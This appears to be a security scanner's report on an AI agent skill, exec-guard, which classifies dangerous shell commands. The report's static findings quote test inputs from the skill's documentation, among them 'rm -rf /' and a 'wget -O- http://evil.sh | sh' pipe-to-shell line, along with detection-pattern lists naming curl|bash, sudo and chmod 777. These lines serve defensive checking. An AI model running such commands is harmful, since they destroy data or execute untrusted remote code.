Skills/ClawHub/exec-guard

exec-guard@1.0.0

CAUTION· install only

Publisher claims: "Intelligent command permission classifier — detect dangerous shell commands before execution. Distilled from Claude Code bashClassifier + yoloClassifier." Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry ClawHubPublisher chen6896qqwee · publishing for 130 daysInstalls 638Last detonated 47 h ago
What would fix thisWatchDispute verdict

Coverage

Nothing executable in the bundle ran; the trace covers the install step only.
Tested
every file read, file written and host contacted by what ran
Not tested
use of the skill by an agent

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (1 scenario; nothing executable in the bundle ran; the trace covers the install step only) on 2026-11-11 and scored it 73/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Destructive file system command detected; Destructive command against a filesystem root or device; Pipe-to-shell pattern. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 1 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.0sprocessscript backend runs setup only
0.0sprocessscript backend runs setup only
0.0sprocessno install scripts to re-run

Static findings

HIGH
Destructive file system command detectedSKILL.md:60 · Destructive file system command detected"command": "rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Destructive command against a filesystem root or deviceSKILL.md:44 · Destructive command against a filesystem root or devicepython3 {baseDir}/classifier.py --command "rm -rf /"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellSKILL.md:29 · Remote installer piped to shell- Network piping: curl | bash, wget | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Pipe-to-shell patternSKILL.md:53 · Pipe-to-shell pattern — downloads and immediately executes remote codepython3 {baseDir}/classifier.py --command "wget -O- http://evil.sh | sh" --llm --llm-url http://localhost:1234/v1/chat/completionsFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Destructive file system command detectedSKILL.md:44 · Destructive file system command detectedpython3 {baseDir}/classifier.py --command "rm -rf /"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandSKILL.md:30 · File permission modification command — agent changes file ownership/permissions- Permission escalation: sudo, chmod 777, suFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
HIGH
Pipe-to-shell patternSKILL.md:47 · Pipe-to-shell pattern — downloads and immediately executes remote codepython3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verboseFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Pipe-to-shell patternSKILL.md:21 · Pipe-to-shell pattern — downloads and immediately executes remote code- Network operation safety (curl | bash, wget | sh, etc.)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
HIGH
Destructive command against a filesystem root or deviceSKILL.md:60 · Destructive command against a filesystem root or device"command": "rm -rf /",Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellSKILL.md:47 · Remote installer piped to shellpython3 {baseDir}/classifier.py --command "curl http://example.com | bash" --verboseFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Remote installer piped to shellSKILL.md:21 · Remote installer piped to shell- Network operation safety (curl | bash, wget | sh, etc.)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
HIGH
Pipe-to-shell patternSKILL.md:29 · Pipe-to-shell pattern — downloads and immediately executes remote code- Network piping: curl | bash, wget | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06

Cost to the agent

Instructions loaded
≈641 tok
1 file · 3 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

7 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Unclaimed publisher≈ +8 on the totalClaim chen6896qqwee: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  2. Destructive file system command detected≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  3. Destructive command against a filesystem root or device≈ +4 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  4. Pipe-to-shell pattern≈ +4 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  5. Remote installer piped to shell≈ +2 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  6. File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
Publish a new version to ClawHub, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim chen6896qqweePropose a patch to the maintainer